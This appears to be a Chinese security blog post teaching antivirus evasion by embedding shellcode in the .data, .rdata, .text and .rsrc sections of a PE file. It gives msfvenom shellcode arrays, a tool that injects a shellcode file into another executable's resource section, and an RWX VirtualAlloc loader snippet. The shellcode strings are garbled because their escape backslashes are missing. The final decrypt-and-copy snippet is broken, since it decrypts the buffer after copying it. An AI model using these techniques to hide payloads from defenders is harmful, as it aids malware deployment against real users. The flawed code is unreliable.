前言
在处理基于Shellcode的免杀时,选择适当的存放位置以避免被检测并影响PE文件的整体行为。Shellcode可以存储在PE文件的.data, .rdata, .text, .rsrc等节中,每个节的使用方法和可能的结果有所不同。
简介
在进行基于shellcode的免杀时,需要注意的主要就是对shellcode的处理。除了远程加载shellcode和本地分离加载shellcode之外大部分都还是需要将shellcode放入Loader中进行处理。
所以说shellcode存放位置就尤为重要,通过了解不同的存放位置我们能够更好地理解shellcode如何被执行,如何避免被检测,以及如何影响PE文件的整体行为。对于一些常见的存放位置,比如.text
节,通常包含了PE文件的主要执行代码,而shellcode在那里可以直接被执行,但也容易被一些杀软发现。
相反,如果选择一些不常见的存放位置,比如.data节或.rsrc节,那么shellcode可能会更难被检测,但同时也需要采取额外的步骤来正确的执行shellcode。可能需要修改PE文件的控制流,让它在特定的时机跳转到我们的shellcode,或者更改一些权限设置,确保shellcode在执行时能够正确地访问它需要的资源。
shellcode可以存储在以下 PE 部分之一中:
-
.data
-
.rdata
-
.text
-
.rsrc
.data段
在C/C++中保存shellcode一般用的是unsigned char类型属于全局变量,PE文件中的.data
段是程序可执行文件的一个部分,用于存储已初始化的全局和静态变量。该段是可读写的。
如下所示是一段未加密的shellcode
#include <Windows.h>
#include <stdio.h>
// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c
unsigned char Code[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00";
int main() {
printf("[+] Code_Base : 0x%p n", Code);
printf("[!] kkkkkk ...");
getchar();
return 0;
}
编译后在xdbg中查看,可以看到.data
段起始位置33000
而shellcode的基地址是.data
部分的33040偏移量0x40
.rdata段
我们也可以选择不将shellcode放在变量中,可以使用限定符const
将载荷放入常量中。这会将信息放入**.rdata
**段
这些类型的变量被认为是“只读”数据。这些数据在程序执行期间保持不变,因此将其存储在只读段中有助于保护数据的完整性,并防止对其进行意外修改。某些情况下.data
和 .rdata
部分可能会合并,甚至合并到 .text
部分中。所以我们只需要稍微修改一下上面的代码,增加一个const
限定符。
使用xdbg打开找到.rdata
段起始位置,再结合程序的输出确认载荷的确在.rdata
段
载荷在.rdata
段偏移0x270的位置
.text段
如果想要把载荷放入.text
段,就不能通过简单的修改变量类型来完成。必须要求编译器将其保存在.text
段中,.text
节通常包含程序的主要执行代码,因此,杀软可能会更密切地监视这个部分。
如下所示
#include <Windows.h>
#include <stdio.h>
// 告诉编译器创建一个名为".text"的节
#pragma section(".text", read,write,execute)
// 使用__declspec(allocate)将shellcode放入".text"节
__declspec(allocate(".text")) unsigned char Code[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00";
int main() {
printf("[+] Code_Base : 0x%p n", Code);
printf("[!] kkkkkk ...");
getchar();
return 0;
}
通过xdbg查看段信息,结合程序输出确认载荷在.text
段中
可以看到FC 48 开头那段正是我们的shellcode
.rsrc段
接下来介绍最后一种存放载荷的地方.rsrc
段(资源段),该段主要用于存储程序的资源,如图标,菜单等。所以该段就有一个天生的优势,就算出现一些高熵数据也是正常的。
我们可以通过vs手动给程序添加.rsrc
段资源,但是真实情况下一般都是通过程序来实现。
下面展示一个从指定位置加载shellcode并存入exe的资源段第100号资源的实现
#include <windows.h>
#include <iostream>
int main() {
// 你的shellcode文件路径和目标exe文件路径
const char* shellcodePath = "F:\C++\xx\xx\calc.bin";
const char* targetExePath = "F:\C++\xx\xxx1\2.exe";
// 打开shellcode文件
HANDLE hShellcode = CreateFileA(shellcodePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hShellcode == INVALID_HANDLE_VALUE) {
std::cerr << "Error: Could not open shellcode file.n";
return 1;
}
// 获取shellcode的大小,并读取shellcode
DWORD shellcodeSize = GetFileSize(hShellcode, NULL);
BYTE* shellcode = new BYTE[shellcodeSize];
DWORD lpNumberOfBytesRead;
if (!ReadFile(hShellcode, shellcode, shellcodeSize, &lpNumberOfBytesRead, NULL)) {
std::cerr << "Error: Could not read shellcode file.n";
CloseHandle(hShellcode);
delete[] shellcode;
return 1;
}
CloseHandle(hShellcode);
// 打开exe文件,并开始更新资源
HANDLE hResource = BeginUpdateResourceA(targetExePath, FALSE);
if (hResource == NULL) {
std::cerr << "Error: Could not open target exe file.n";
delete[] shellcode;
return 1;
}
// 将shellcode添加为一个资源
if (!UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(100), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)shellcode, shellcodeSize)) {
std::cerr << "Error: Could not update resource.n";
delete[] shellcode;
return 1;
}
// 完成资源更新
if (!EndUpdateResourceA(hResource, FALSE)) {
std::cerr << "Error: Could not end update resource.n";
delete[] shellcode;
return 1;
}
std::cout << "Shellcode was successfully added to the exe file.n";
delete[] shellcode;
return 0;
}
通过xdbg查看2.exe的.rsrc
段先找到该段的地址00007FF752F3B000
在其第偏移量0x100的位置找到了写入的shellcode
也可以通过代码实现
#include <windows.h>
#include <iostream>
#include <iomanip> // 用于 std::setw
int main() {
// 你的目标exe文件路径
const char* targetExePath = "F:\C++\xx\xxx1\2.exe";
// 加载模块(在本例中为2.exe文件)
HMODULE hModule = LoadLibraryExA(targetExePath, NULL, LOAD_LIBRARY_AS_DATAFILE);
if (hModule == NULL) {
std::cerr << "Error: Could not load module.n";
return 1;
}
// 找到并加载资源
HRSRC hResInfo = FindResource(hModule, MAKEINTRESOURCE(100), RT_RCDATA);
if (hResInfo == NULL) {
std::cerr << "Error: Could not find resource.n";
FreeLibrary(hModule);
return 1;
}
HGLOBAL hResData = LoadResource(hModule, hResInfo);
if (hResData == NULL) {
std::cerr << "Error: Could not load resource.n";
FreeLibrary(hModule);
return 1;
}
// 获取资源数据
void* pData = LockResource(hResData);
if (pData == NULL) {
std::cerr << "Error: Could not lock resource.n";
FreeLibrary(hModule);
return 1;
}
// 输出资源数据的前100个字节(16进制格式)
std::cout << std::hex << std::setfill('0'); // 设置为16进制输出,用0填充
for (int i = 0; i < 100; i++) {
std::cout << std::setw(2) << ((unsigned int)((unsigned char*)pData)[i]) << " ";
}
std::cout << "n";
// 不需要释放资源或者库,因为资源和库会在程序结束时自动释放
return 0;
}
可以看到正是我们的shellcode
但是.rsrc
段是只读段,如果我们在读取shellcode的时候进行了加密处理,那么这时候我们不能够直接在资源段中进行修改,需要将shellcode复制出来再进行解密处理,可以使用VirtualAlloc
或者使用HeapAlloc
来申请地址,然后使用memcpy
将有载荷从资源部分移动到申请的地址处 。
// 分配一段可执行的内存,大小和shellcode相同
void* execMem = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 将shellcode复制到刚刚分配的内存中
memcpy(execMem, shellcode, sizeof shellcode);
//将shellcode加密
DeCrypt(shellcode, shellcodeSize, key, 128);
printf("[+] pBuffer base : 0x%p n", execMem);
总结
文章主要介绍了在PE文件中嵌入Shellcode以进行免杀操作的方法。文中详细讨论了把Shellcode存储在.data, .rdata, .text, .rsrc等不同节的操作,以及如何实现。以及每种存储方法的优缺点介绍。
之后会进行更多的知识分享,欢迎关注。
免责申明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
作者水平有限,如有错误还望指正。
原文始发于微信公众号(纯爱安全):免杀之PE文件中的Shellcode嵌入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论